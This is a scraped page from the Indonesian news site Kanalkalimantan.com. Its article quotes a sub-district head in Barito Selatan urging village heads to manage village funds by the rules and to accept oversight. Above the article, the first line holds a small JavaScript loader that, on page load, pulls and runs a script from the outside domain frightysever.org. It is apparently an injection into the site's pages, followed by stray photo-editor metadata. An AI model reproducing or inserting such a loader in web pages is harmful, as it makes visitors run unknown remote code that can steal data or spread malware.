(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"total_effects_actions":0,"total_draw_time":0,"layers_used":0,"effects_tried":0,"total_draw_actions":0,"total_editor_actions":{"border":0,"frame":0,"mask":0,"lensflare":0,"clipart":0,"text":0,"square_fit":1,"shape_mask":0,"callout":0},"effects_applied":0,"uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1572693499680","width":3464,"photos_added":0,"total_effects_time":0,"tools_used":{"tilt_shift":0,"resize":0,"adjust":0,"curves":0,"motion":0,"perspective":0,"clone":0,"crop":0,"enhance":0,"selection":0,"free_crop":0,"flip_rotate":0,"shape_crop":0,"stretch":0},"remix_data":[],"source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1572693499709","origin":"gallery","height":2309,"subsource":"done_button","total_editor_time":16,"brushes_used":0}
BUNTOK, Kepala desa di wilayah Kecamatan Dusun Selatan (Dusel), Kabupaten Barito Selatan (Barsel) diimbau jangan takut mengelola dana desa untuk kepentingan masyarakat.
“Selama alokasi dana desa itu digunakan dengan baik dan sesuai aturan, maka tidak usah takut,†kata Camat Dusel Mario Aan, kepada Kanalkalimantan.com.
Ia mengakui, saat ini dana desa yang dikucurkan oleh pemerintah pusat kepada desa jumlahnya cukup besar, maka wajar saja para penyidik, mulai dari kepolisian, kejaksaan bahkan Komisi Pemberantasan Korupsi (KPK) mulai menyoroti penggunaan dana desa tersebut.
“Perangkat desa jangan sampai alergi dengan pemeriksa, karena mereka hanya ingin melihat penggunaan dana desa tersebut sudah sesuai apa tidak,†ujar Mario.
Dijelaskan olehnya salah satu kunci sukses dalam pengelolaan dana desa adalah sinergisitas antara perangkat desa, mulai dari kades hingga bendahara bersama dengan masyarakat dalam merencanakan kegiatan yang dapat dipertanggungjawabkan sesuai aturan.
“Selain itu, Badan Permusyawaratan Desa (BPD) juga harus berperan aktif dalam melakukan pengawasan, kalaupun nanti terjadi kesalahan, maka BPD dapat mengingatkan sehingga kesalahan dapat segera diperbaiki,†jelas Mario.
Ditambahkan olehnya sekaligus mengingatkan, dibalik besarnya dana desa tersimpan tanggung jawab yang besar bagi kades, karena sesuai dengan tujuannya yakni untuk peningkatan pembangunan baik prasarana fisik maupun non fisik, mendorong tingkat partisipasi masyarakat untuk pemberdayaan dan perbaikan taraf hidup.
“Karena itu, perangkat desa khususnya kades harus memahami betul aturan yang mengatur tentang pengelolaan dana desa,†tandas Mario. (digdo)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke-10… Read More
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
This website uses cookies.